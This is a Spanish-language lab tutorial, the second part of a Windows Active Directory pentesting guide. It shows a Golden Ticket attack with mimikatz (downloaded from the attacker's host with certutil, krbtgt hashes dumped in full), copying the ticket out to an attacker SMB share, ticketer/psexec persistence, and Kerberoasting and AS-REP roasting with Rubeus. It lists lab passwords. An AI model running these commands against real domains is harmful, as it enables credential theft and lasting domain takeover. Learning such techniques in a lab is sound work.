7 min to read
Pentesting Windows #2
Aquí continua la segunda parte de Pentesting en sistemas Windows.
Direccionamiento IP:
Domain Controller | 192.168.5.134 |
---|---|
PC-ELC4BR4 | 192.168.5.135 |
PC-TIMOTI | 192.168.5.136 |
PARROT ATACANTE | 192.168.5.129 |
Credenciales Obtenidas:
Administrador | P@ssw0rd1234 |
---|---|
cfernandez | P@ssw0rd1 |
timoti | P@ssw0rd2 |
SVC_SQLservice | Mypassword123# |
test | Mypassword123# |
GOLDEN TICKET ATTACK
Para poder realizar este ataque debemos conectarnos a la máquina del Domain Controller y subir el ejecutable de mimikatz.exe
Me conecto a la máquina a través de psexec y me creo un directorio en la carpeta temp, donde subiré el mimikatz.exe.
Subo el ejecutable a la máquina a través de un servidor python3 y ejecuto este comando en la máquina del DC.
certutil -f -urlcache -split [http://192.168.5.142:8080/mimikatz.exe](http://192.168.5.142:8080/mimikatz.exe) mimikatz.exe
Una vez subido lo ejecuto y lanzo este comando, que me arrojará una serie de datos que he de guardar para poder construir mi ticket y efectuar otros ataques posteriormente.
lsadump::lsa /inject /name:krbtgt
Al lanzar este comando me arroja una serie de datos que he de almacenar en un archivo para usarlo posteriormente.
Domain : ELC4BR4CORP /S-1-5-21-125982298-3703263120-1654962388
RID : 000001f6 (502)
User : krbtgt
* Primary
NTLM : 5a168273afef7e1c286cb06ba641d3e7
LM :
Hash NTLM: 5a168273afef7e1c286cb06ba641d3e7
ntlm- 0: 5a168273afef7e1c286cb06ba641d3e7
lm - 0: 0014685580ac64d2d05487386f2bf9a1
* WDigest
01 0d288f2664600813cb76298df4e2e18b
02 1737635f41c90f8f3378a04d5fd409a6
03 ba35c9f65caa6aa92f057c71bd705c3c
04 0d288f2664600813cb76298df4e2e18b
05 1737635f41c90f8f3378a04d5fd409a6
06 fe17b93f23311cfd6e9633abff15c1c1
07 0d288f2664600813cb76298df4e2e18b
08 7b41cae1acc9b639a14a5abb910cce4b
09 7b41cae1acc9b639a14a5abb910cce4b
10 6d6b459d78e134ecdd144a5cc9c3594f
11 edbabf4665b2e93dbdc4c323c71e8fcb
12 7b41cae1acc9b639a14a5abb910cce4b
13 bdd9c0a2761ca1b51372409277f13dab
14 edbabf4665b2e93dbdc4c323c71e8fcb
15 b0a6e558a0bebd74b74f496ad3349290
16 b0a6e558a0bebd74b74f496ad3349290
17 f16ec0c9ba4683cc88d38652be117508
18 7ec4139e942a6db57993e4ace4f116f9
19 8bbf3a395882b06837bf1f4388ee1b82
20 ccbfb4a4dc2014be3240729310a65571
21 cdd87e78c3c84eff4733f2b65b62f1c4
22 cdd87e78c3c84eff4733f2b65b62f1c4
23 54204a79a956d58b5d0d470a0a23c2d6
24 f06350d3b4ee8a02fc36b613e5a31d17
25 f06350d3b4ee8a02fc36b613e5a31d17
26 c6d0f457c7cac824bff12c39bbb598da
27 c6674b3a2e5279d3bf6fbeb8b0702e80
28 f6c8cce0994c3a2acf337de60eaeb421
29 6dc5694d365fae894a9e03fbdf1330c2
* Kerberos
Default Salt : ELC4BR4CORP.LOCALkrbtgt
Credentials
des_cbc_md5 : c8fb7abcf125d37a
* Kerberos-Newer-Keys
Default Salt : ELC4BR4CORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : ae0bdc175152d4c3a92eb0cd410af41c142dc571c23e46c5919bbfa0406ac2a8
aes128_hmac (4096) : bb79c72e39182de9a5bd5cc220c0cb05
des_cbc_md5 (4096) : c8fb7abcf125d37a
* NTLM-Strong-NTOWF
Random Value : 6a916f8e92ba295b1be3df6bcfb503f8
Una vez que ya tenemos estos datos podemos proceder a construir nuestro ticket para posteriormente cargar este ticket en otra máquina con mimikatz.exe y poder tener privilegios de acceso en el mismo.
Una vez creado el ticket realizaremos lo siguiente.
Lo primero es pasarnos a nuestra máquina atacante el ticket para posteriormente conectarnos a otra máquina del dominio y ejecutar este ticket con mimikat.exe de la siguiente manera.
Para pasar el ticket de una máquina a la otra utilizo impacket-smbserver desde mi máquina atacante creando un recurso compartido vinculado a mi ruta absoluta.
sudo impacket-smbserver filetransfer $(pwd) -smb2support
Y desde la máquina del DC ejecuto lo siguiente…
copy golden.ticket \\192.168.5.142\filetransfer\golden.ticket
Una vez ya tengo el golden.ticket me conecto a otra máquina del dominio, en este caso a la máquina PC-TIMOTI por ejemplo, y subo el mimikatz.exe y el ticket a través de un servidor de python3 y certutil.
Si intentamos enumerar los recursos compartidos del equipo AD-DC (Domain Controller) recibiremos un error…
¿Pero que ocurre si cargamos el golden.ticket…?
Cargamos el ticket y de nuevo probamos a enumerar recursos de la máquina del DC.
Y ya tenemos acceso, podemos enumerar los recursos del DC, pero claro lo que de verdad queremos es ganar acceso a la máquina por lo que podríamos usar otra técnica.
Ticketer
Con ticketer vamos a generar un archivo .ccache haciendo uso de los datos que mimikatz nos reportó anteriormente y que guardé en un archivo de texto en mi máquina atacante, ganado persistencia total a la máquina.
Una vez hemos creado el archivo .ccache debemos exportar la variable de entorno KRB5CCNAME que sea igual a la ruta absoluta del archivo .ccache y comprobarlo para asegurarnos de que lo hicimos correctamente.
Una vez completado este paso podremos conectarnos a la máquina sin necesidad de utilizar contraseña usando psexec.py.
Y si el usuario Administrador cambiase la contraseña también podríamos seguir accediendo sin contraseña, es decir, ganamos una persistencia total.
Kerberoasting Attack con Rubeus
Podemos efectuar este ataque con el ejecutable de Rubeus, para ello me lo descargo y lo paso a la máquina del DC.
Una vez lo tenemos en la máquina del DC procedemos a ejecutarlo con los siguientes parámetros.
rubeus.exe kerberoast /creduser:elc4br4corp.local\cfernandez /credpassword:P@ssw0rd1
Al lanzarlo nos arroja el hash del usuario vulnerable al ataque Kerberoasting que en este caso es SVC_SQLservice.
Podemos copiarnos el hash y craquearlo y así obtener su contraseña.
Si convierto en kerberoasteable el usuario timoti por ejemplo, pasará lo mismo.
Ejecuto este comando desde la cmd de la máquina del DC.
Y relanzamos el comando de Rubeus…
Y ahí tenemos el hash del usuario Timoti.
ASREPROAST Attack con Rubeus
Con Rubeus también podemos desplegar el ataque ASREPROAST, de la siguiente forma…
Ejecutamos el siguiente comando:
rubeus.exe asreproast /user:<user> /domain:<domain> /dc:<hostname>
En mi caso voy a realizarlo con el usuario SVC_SQLservice ya que fue configurado anteriormente para ser vulnerable a este ataque.
Pero podría realizarlo con cualquier otro usuario, solo he de configurarlo para hacerlo vulnerable a este tipo de ataque, y eso lo hacemos desde la máquina del DC → Usuarios y equipos de AD → propiedades sobre el usuario que queramos hacer vulnerable (cfernandez) y marcar la opción que dice no pedir la autenticación Kerberos previa.
Una vez configurado lanzo de nuevo el comando de rubeus…
Y ahí tenemos el hash del usuario cfernandez.
Aquí finaliza la segunda parte de la guía Pentesting Windows, seguiré aprendiendo nuevas técnicas para poder compartirlo.